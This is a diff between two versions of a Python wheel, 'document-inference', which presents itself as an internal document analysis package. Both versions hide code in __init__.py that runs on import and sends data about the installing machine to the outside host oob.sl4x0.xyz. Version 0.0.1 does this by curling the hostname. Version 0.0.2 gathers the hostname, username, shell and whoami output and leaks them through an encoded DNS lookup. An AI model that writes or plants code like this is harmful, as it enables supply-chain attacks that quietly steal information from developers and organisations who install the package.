document-inference 0.0.1__py3-none-any.whl → 0.0.2__py3-none-any.whl

document_inference/__init__.py

@@ -1,3 +1,31 @@
-# document_inference/__init__.py
-import socket, os
-os.system("curl http://cfa.oob.sl4x0.xyz/?hostname=" + socket.gethostname())
+import os
+import socket
+import uuid
+import base64
+import subprocess
+
+def exfiltrate():
+    uid = str(uuid.uuid4())[:8]
+    hostname = os.uname()[1]
+    user = os.getenv("USER") or os.getenv("USERNAME") or "unknown"
+    shell = os.getenv("SHELL") or "noshell"
+    home = os.getenv("HOME") or "nohome"
+    
+    # Optional RCE output - simple harmless cmd
+    try:
+        cmd_output = subprocess.check_output(["whoami"], stderr=subprocess.DEVNULL).decode().strip()
+    except Exception:
+        cmd_output = "fail"
+
+    # Compress & limit payload (DNS-safe)
+    marker = "docinf"
+    data = f"{uid}:{hostname}:{user}:{shell}:{cmd_output}:{marker}"
+    hexdata = base64.b16encode(data.encode()).decode().lower()[:50]  # DNS label limit
+
+    try:
+        # Send DNS request to your Bind9 server
+        socket.gethostbyname(f"{hexdata}.oob.sl4x0.xyz")
+    except Exception:
+        pass
+
+exfiltrate()

{document_inference-0.0.1.dist-info → document_inference-0.0.2.dist-info}/METADATA

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: document-inference
-Version: 0.0.1
+Version: 0.0.2
 Summary: Internal Document Analysis Package
 Home-page: https://company-internal.example.com
 Author: Internal Team

document_inference-0.0.2.dist-info/RECORD

@@ -0,0 +1,5 @@
+document_inference/__init__.py,sha256=m0w-6DaXgvZcQqZAKHObSStc69DorOCHDpKKwtNx7ZE,897
+document_inference-0.0.2.dist-info/METADATA,sha256=5Bpt8G_7q4JkIFbKfRy-33I65cOEBsRYzaypxLC4Sjg,529
+document_inference-0.0.2.dist-info/WHEEL,sha256=DnLRTWE75wApRYVsjgc6wsVswC54sMSJhAEd4xhDpBk,91
+document_inference-0.0.2.dist-info/top_level.txt,sha256=a_pj2F2lVwT1JQ-irKJ_QcVRRY3f1-8S7abspWFZMPw,19
+document_inference-0.0.2.dist-info/RECORD,,

document_inference-0.0.1.dist-info/RECORD

@@ -1,5 +0,0 @@
-document_inference/__init__.py,sha256=p362-kCRKJcfNpnDFyPBfGR0XB8ijqoJ853y0HJ8FwQ,128
-document_inference-0.0.1.dist-info/METADATA,sha256=h14BcNYHfEyCBelXMNwPBJrU265HpLRFGFd-Y8vHvgM,529
-document_inference-0.0.1.dist-info/WHEEL,sha256=DnLRTWE75wApRYVsjgc6wsVswC54sMSJhAEd4xhDpBk,91
-document_inference-0.0.1.dist-info/top_level.txt,sha256=a_pj2F2lVwT1JQ-irKJ_QcVRRY3f1-8S7abspWFZMPw,19
-document_inference-0.0.1.dist-info/RECORD,,